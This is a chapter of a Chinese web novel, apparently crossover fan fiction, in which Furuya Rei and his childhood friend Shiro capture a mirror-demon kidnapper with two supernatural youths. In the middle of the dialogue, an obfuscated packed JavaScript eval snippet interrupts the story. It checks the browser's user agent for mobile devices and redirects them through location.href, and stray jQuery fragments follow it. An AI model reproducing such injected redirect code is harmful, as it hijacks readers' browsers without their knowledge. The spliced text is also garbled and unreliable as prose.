8. 怪异都市(五)

作品:《退休返聘后获得了假酒版幼驯染

    “好痛哦——下手好重。”


    好不容易被放开的小萩原靠在沙发上抱怨,满脸痛苦地揉捏着肩膀。


    降谷零不为所动,笑眯眯地揽着黑沼四白的肩膀看过去:“那还真是抱歉了,我还以为是绑架犯的同伙找了过来,不小心下手重了点。”


    他熟练地摆出了糊弄人的表情,没有丝毫掩饰。


    绝对是故意的,这个人完全在宣泄自己的不爽。


    黑沼四白不想理那边的交锋,看着地上的木乃伊状生物出神,并在心里默默吐槽自家幼驯染。


    “我是没关系啦,不过……”


    面容还有些稚嫩的猫耳少年看向另一边阴着一张脸的小松田,也一副笑眯眯的模样说道,“我们家小阵平还真是遭受了非人般的虐待呢,漂亮的脸蛋都肿起来了,好可怜~”


    和那一位毫发无损的零先生一对比。


    真是输得一塌糊涂呀,小阵平。


    “喂hagi!”


    原本坐在那不想出声搭理任何人的小松田啧了一声,额角的青筋跳了跳。


    他身后细长的尾巴烦躁地拍打着沙发:“你在说什么鬼话啊,谁可怜了?!明明是这家伙趁人之危啊可恶!”


    谁输了!?


    要不是他中了阴招,加上这金毛太不合常理。


    这家伙今天至少要被他打掉一颗牙!


    “没办法,谁叫这位松田小·弟·弟,在我们准备离开的途中突然像是昏了头一样攻击我呢,我也只是正当防卫而已。”


    正在检查黑沼四白状态的降谷零头都没抬一下,漫不经心地回话。


    直到把黑沼四白一直放在口袋里的那只手拿出来,看到她手上缠着的绷带时,青年勉强还算平静的脸色一下子就沉了下去。


    他摸了摸包扎的还算良好的绷带问道:“是这小子伤的你吗?shiro。”


    要是在那狐狸脸的脑门上开个洞。


    一定会很漂亮吧?


    不管心里如何想,至少表面上降谷零还是一派稳重的大人模样。


    他静静等待黑沼四白的回答。


    或者说,等待她的允许。


    “啊,是我不小心刮到了。”


    黑沼四白不再观察地上躺着的那具木乃伊,抬头朝濒临炸毛的幼驯染弯了弯眼睛,又轻轻捏捏他的指尖。


    “只是一点点划伤而已,已经处理过了,所以不碍事的。”


    零是很容易迁怒的性格,还是不要再迫害这两个孩子了吧。


    黑沼四白不是在发散无用的同情心。


    在她看来,这些只是无伤大雅的小事,何况她也没有受重伤。


    他们不会在这里待的太久,没必要横生枝节。


    而且根据规定,一定条件下,在小世界是不能随意杀人的。


    她试图转移降谷零的注意力:“说起来要不是萩原君,今晚我就有大麻烦了呢,不要欺负他们哦。”


    捏着黑沼四白手腕的青年没有急着询问,而是带着她坐到一边的单人沙发上。


    旁若无人地让她侧坐在他右腿上。


    谁知道这地方干不干净,还是坐他身上比较安全,更何况……


    紫灰色的眼眸里带着不明的晦涩,极快地扫过状似无事发生的两个少年。


    怎么说都是同位体。


    这两个会不会和雅文邑跟麦卡伦一样,对别人家的宝物抱有不该有的心思呢?


    就算有,也得给他掐灭了。


    不过是区区过客。


    无声宣告了主权之后,降谷零没再关注突然对视起来的两个非人类。


    他抬眼望进那片绚丽的樱花海,轻声问道:“看来在我们分开这段时间里,shiro也过得很精彩嘛,可以和我说说吗?”


    ·


    于是黑沼四白把自己的血液对怪异的影响告诉了降谷零,顺带提了一嘴不久前经历的那一场大逃杀。


    “那还真是要多亏萩原君了。”


    降谷零顺着她之前的话,对一旁静静听着的小萩原点了点头算是道谢。


    “我家的这孩子身体一直不好,之前也没有在外面遇到受伤流血的情况,这么一想今晚还真是惊险。”


    论语言的艺术。


    黑沼四白眼见着他说完之后,小萩原露出了失落的表情。


    再这样下去这两人简直要纠缠着没完没了,总之还是要先结束这个话题。


    “说起来我好奇好久了,那边的那个是什么?”黑沼四白再次换了个新话题,“是绑架犯吗?它为什么没动静了?”


    已经过去十多分钟了,那一坨一直像死物一样一动不动。


    心里很不爽的青年危险地眯了眯眼,到底随了她的意愿,顺势回道:“嗯,确实是绑了我的家伙,能力大概是一个会把人放到另一个空间里去。”


    他扫了一眼满脸不爽的小松田:“或许还有制造幻像的能力,这点松田君应该深有体会。”


    可惜这小子太抗揍,不然地上躺着的“尸体”还能多一具。


    “这是镜鬼,没动静是因为被打晕了。”小松田翻了个白眼,忽视大猩猩的阴阳怪气,“也可能是已经被某人打死了。”


    小萩原恍然大悟:“啊,原来如此!”


    “怪不得小阵平会一下子就被抓走了,镜鬼的能力之一就是通过镜面将人或物转移,属于一种空间能力。”


    他看向黑沼四白补充道:“这个种族的另一个能力就是可以对固定对象编织幻境,诱导猎物自相残杀。”


    黑沼四白捏着降谷零的指尖沉思,听起来这个镜鬼不像是什么正派的怪异。


    正经怪异也不会随地绑架人。


    正想着,就听小萩原再次补充:“上周协会那边公布的通缉名单里就有镜鬼哦,只是不知道是不是这一个。”


    小松田也点了点头:“啊,那个镜鬼的通缉令上还注明了可能会制造分身的情报。”


    嗯?分身?


    黑沼四白和降谷零对视了一眼,两人瞬间警觉了起来。


    “那么有没有一种可能,地上那个已经不是那只镜鬼了?”


    说话间,黑沼四白掌心已经多出一把小巧精致的手/枪。


    她在两个少年惊讶的目光里,毫不犹豫地对着地上的“镜鬼”扣下了扳机。


    “啪嚓!”


    并非是击中血肉的声音,而是镜子被打破时的脆响。


    ——


    “好险,差点就被抓到了。”


    一团黑影在消防通道的角落里缩成一团喃喃自语。


    “什么鬼啊!人类居然会有那么大的力气吗?难道人类已经偷偷研制出人形兵器了?”


    “还好我通过那位大人获得了新能力,不然今天怕是就要栽到区区一只梦魔崽子和人类手里了,怕不是要沦为大家口中的笑柄。”


    “可恶!等我一会填饱肚子恢复了体力,我一定要那个人类好看!区区人类——”


    “哦?你要怎么让人类好看?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986149|193639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “当然是打断他的手脚,把他献给那位大人做素材了……谁?!”


    条件反射回答了问题的黑影瞬间原地弹起,对着空无一人的楼道高声质问。


    一只手搭在了他的肩膀上,巨大的力气几乎让他的骨头咔咔作响。


    他一顿一顿地回过头。


    只见眼前的黑暗竟像雾气凝成的墙壁一样,短暂地翻涌过后渐渐消散。


    露出了后面三男一女四个人。


    顺着按住他肩膀的那只手看过去。


    在看清了那头熟悉的金发后,黑影——不,镜鬼露出了近乎绝望的惊恐表情。


    ·


    “好啦,捕获成功~”小萩原伸手比了个V,“幸好他今天还没进食,之前用了几次能力消耗掉了他的体力,抓起来还算容易。”


    目送降谷零拎着镜鬼走向套间的其中一个卧室。


    毕竟他接下来要做的可能有点不适合未成年观看。


    黑沼四白转身对眼睛闪闪发光的小萩原夸奖道:“多亏了萩原君的能力呢,真是帮了大忙了。”


    没想到居然会是这样的能力,她这下是真的有点好奇小萩原是什么怪异了。


    “是秘密哦,小姐姐可以自己猜猜看。”像是看出黑沼四白在好奇,小萩原笑眯眯地歪头,“话说,到现在都还不知道小姐姐的名字呢~”


    “我是研二,萩原研二。”他指了指一边平静下来不知在想什么的小松田介绍,“这个是小阵平,松田阵平。”


    这个熟悉的自我介绍方式。


    黑沼四白短暂想起了很久之前,在某间昏暗酒馆里与雅文邑和麦卡伦相遇的场景。


    习惯性转了转手腕上不会发出响声的手环,黑沼四白笑着告诉他自己的名字。


    “哇,好特别——”


    没等小萩原继续说下去,降谷零拎着看上去毫无变化的镜鬼走了出来。


    随手把捆好的一坨丢在了地上,他一边摘下手套,一边走过来把站在客厅的黑沼四白揽到沙发处。


    两人又恢复了之前的坐姿。


    警告一般扫了一眼面上带笑的小萩原,顺带刮了一眼满脸事不关己的小松田。


    降谷零才对黑沼四白点了点头,示意镜鬼已经被搞定了。


    “已经确定过了,这家伙就是被通缉的那一只镜鬼。”他十分自然地从黑沼四白外套的口袋里摸出了烟盒,“shiro有想问的可以尽管问,他会好好回答的。”


    巧克力浓郁的香味在房间中弥漫。


    咬着递到唇边的香烟,黑沼四白浅浅吸了一口,借用道具的作用提神。


    就着幼驯染的手慢悠悠地吸了半支烟,她完全没有关注降谷零和两位少年之间的眼神交锋。


    黑沼四白是典型的充电两小时,运行五分钟的低精力人士。


    虽然表面上看不出来,但她这会确实已经觉得疲惫了。


    貌似降谷零用起这些道具来,好像比她自己还会掌握时机。


    拍了拍降谷零的手腕示意,也没在意他转而把半支烟叼在唇间的行为。


    黑沼四白抬起之前有些恹恹垂下的眼帘,淡粉色的眼眸轻飘飘地环视了一周。


    最后落在被捆得严严实实地放在地上,脸上一片空白的镜鬼身上。


    黑沼四白轻轻勾起唇角,声音也带上了轻飘飘的感觉:


    “让我们来,好好聊一聊吧?”


    铃——


    镜鬼听到了清脆的铃铛声。